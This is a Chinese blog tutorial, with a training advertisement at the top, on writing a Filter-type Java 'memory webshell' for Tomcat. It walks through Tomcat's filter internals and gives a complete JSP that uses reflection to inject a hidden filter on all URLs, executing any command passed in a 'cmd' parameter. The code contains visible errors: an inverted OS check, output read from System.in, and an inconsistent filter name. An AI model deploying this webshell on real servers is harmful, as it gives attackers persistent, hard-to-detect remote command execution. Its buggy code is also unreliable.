Java内存马(一)Filter型
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
一、基础知识
💡 ServletContxt接口
他是Servlet上下文对象,一个web工程只有一个该对象实例,在工程启动时创建,结束时销毁;由于在该web工程中,所有的servlet可以通过该实例进行通讯,因此也被称为域对象
在Tomcat中,ServletContext的实现类为ApplicationContext,在ApplicationContext中又包含StandardContext实例,该实例可以用于获取Tomcat内部的一些信息,例如Servlet、Filter、Listener等信息
我们可以通过request.getServletContext() 来获取,demo如下,我们创建一个Filter:
package com.bajiu.filter;import javax.servlet.*;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpSession;import java.io.IOException;/*** @author 八九* @version 1.0*/public class ManageFilter implements Filter {public void init(FilterConfig filterConfig) throws ServletException {System.out.println("ManagerFilter 初始化方法被调用");}public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {ServletContext servletContext = request.getServletContext();}public void destroy() {//当filter被销毁时,调用该方法System.out.println("ManageFilter 被销毁...");}}
并在web.xml 中配置:
<filter><filter-name>ManageFilter</filter-name><filter-class>com.bajiu.filter.ManageFilter</filter-class></filter><filter-mapping><filter-name>ManageFilter</filter-name><url-pattern>/manage/*</url-pattern></filter-mapping>
我们对demo进行断点调试:
可以看到,request.getServletContext() 获取到的实例类为:ApplicationContextFacade
封装关系为:ApplicationContextFacade → ApplicationContext → StandardContext(包含着Tomcat内部重要信息)

我们接着对StandardContext对象实例进行查看,里面存在非常重要的两个HashMap:filterConfigs、filterDefs,StandardContext:filterMaps (存在三个Filter,Tomcat WebSocket(JSR356) Filter 是Tomcat自带生成)
-
filterConfigs 对应 key-value :filterName-ApplicationFilterConfig[name,filterClass]
-
filterDefs对应key-value:filterName-filterDef[filterName,filterClass]
-
filterMaps是StandardContext数组,用于存放 filterName和作用效果的url

在正常业务中,我们创建Filter,Tomcat底层读取web.xml 文件,对Filter进行注册操作:
-
创建Filter
-
用filterDef 对 filterConfig 进行封装
-
将filterDef添加到filterDefs跟filterConfigs中
-
创建filterMap,将URL和filter进行绑定,并put进filterMaps中
二、内存马编写
1、获取StandardContext
由于ApplicationContextFacade 和 ApplicationContext封装的 Context 属性都为 private,因此我们无法直接从中获取,需要用到反射机制

代码如下:
//获取第一层封装 -> ApplicationContextField applicationContextField = ApplicationContextFacade.class.getDeclaredField("context");applicationContextField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(servletContext);//获取第二层封装 -> StandardContextField standardContextField = ApplicationContext.class.getDeclaredField("context");standardContextField.setAccessible(true);StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);
二、设置FilterDefs
org.apache.tomcat.util.descriptor.web.FilterDef 中,存在setFilter 方法修改filter → 接着调用StandardContext#addFilterDef() 添加FilterDefs

代码如下:
FilterDef filterDef = new FilterDef();filterDef.setFilter(filter);filterDef.setFilterName("shellFilter");filterDef.setFilterClass(filter.getClass().getName());standardContext.addFilterDef(filterDef);
三、filterConfig封装flterDefs,并添加到filterConfigs中
我们进入 org.apache.catalina.core.StandardContext 发现 filterConfigs 的 泛型为:<String,ApplicationFilterConfig>

而ApplicationFilterConfig 中存在定义属性:private final transient Context context

想通过ApplicationFilterConfig的构造器对其初始化,很遗憾的是,该构造器修饰符为default,因此又得用到反射获取构造器 → 初始化 StandardContext

代码如下:
Constructor<ApplicationFilterConfig> constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = constructor.newInstance(standardContext,filterDef);
获得filterConfig,我们再从StandardContext里获取filterConfigs,将前者添加进后者
Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");filterConfigsField.setAccessible(true);Map filterConfigs = (Map) filterConfigsField.get(standardContext);filterConfigs.put("shellFilter",filterConfig);
四、生成filterMap添加到filterMaps
filterMaps需要设置名称,pattern,dispatcher
这里的dispatcher需要设置为DispatcherType.REQUEST,该选项指定了filter过滤器根据DispatcherType的类型是否执行。这也是为什么需要tomcat7以上的原因
FilterMaps可以用两种方式添加map:addFilterMap 或者addFilterMapBefore(),后者可以将filter添加至最前面
代码如下:
FilterMap filterMap = new FilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName("evilFilter");filterMap.setDispatcher(DispatcherType.REQUEST.name());standardContext.addFilterMapBefore(filterMap);
全部代码如下:
<%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.io.IOException" %><%@ page import="java.io.InputStream" %><%@ page import="java.util.Scanner" %><%@ page import="static java.lang.System.in" %><%@ page import="java.io.PrintWriter" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %><%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %><%@ page import="org.apache.catalina.Context" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="java.util.Map" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%--Created by IntelliJ IDEA.User: 八九Date: 2023-04-07Time: 23:00To change this template use File | Settings | File Templates.--%><%@ page contentType="text/html;charset=UTF-8" language="java" %><%/*** 通过两层反射,获取StandardContext*/ServletContext servletContext = request.getServletContext();Field applicationContextField = servletContext.getClass().getDeclaredField("context");applicationContextField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);Filter filter = new Filter() {public void init(FilterConfig filterConfig) throws ServletException {}public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {//获取cmd参数if (request.getParameter("cmd") != null){//判断操作系统为Win还是Linuxboolean isWin = true;String osType = System.getProperty("os.name");if (osType != null && osType.toLowerCase().contains("linux")){isWin = false;}//命令执行 -> 根据不同系统设置不同执行命令方式String cmds[] = isWin ? new String[]{"sh","-c",request.getParameter("cmd")}:new String[]{"cmd.exe","/c",request.getParameter("cmd")};InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("A");String output = s.hasNext() ? s.next() : "";PrintWriter writer = response.getWriter();writer.print(output);writer.flush();writer.close();}chain.doFilter(request, response);}public void destroy() {}};/*** 设置filterDef ,并添加进 standardContext*/FilterDef filterDef = new FilterDef();filterDef.setFilter(filter);filterDef.setFilterName("shellFilter");filterDef.setFilterClass(filter.getClass().getName());standardContext.addFilterDef(filterDef);/*** filterConfig 封装 filterDef,并将filterConfig 添加到filterConfigs* 由于ApplicationFilterConfig 构造器为private,因此用到反射获取* 接着从standardContext中获取filterConfigs属性 -> 依旧用到反射*/Constructor<ApplicationFilterConfig> constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig applicationFilterConfig = constructor.newInstance(standardContext, filterDef);Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");filterConfigsField.setAccessible(true);Map filterConfigs = (Map)filterConfigsField.get(standardContext);filterConfigs.put("shellFilter",applicationFilterConfig);//生成filterMap,添加到filterMaps中FilterMap filterMap = new FilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName("shellFilter");filterMap.setDispatcher(DispatcherType.REQUEST.name());standardContext.addFilterMapBefore(filterMap);%>
最终效果,访问 http://localhost:8080/shell.jsp 将内存马写入内存中,任意url地址cmd进行命令执行操作:

即使uri不存在

三、Debug调试
最后,我们下断点,查看我们的内存马有没有成功写入
重启web工程,访问index.jsp,发现在这里还未写入我们的内存马:shellFilter

接着,我访问shell.jsp 页面,在最后下断点输出调试信息


原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/8289.html

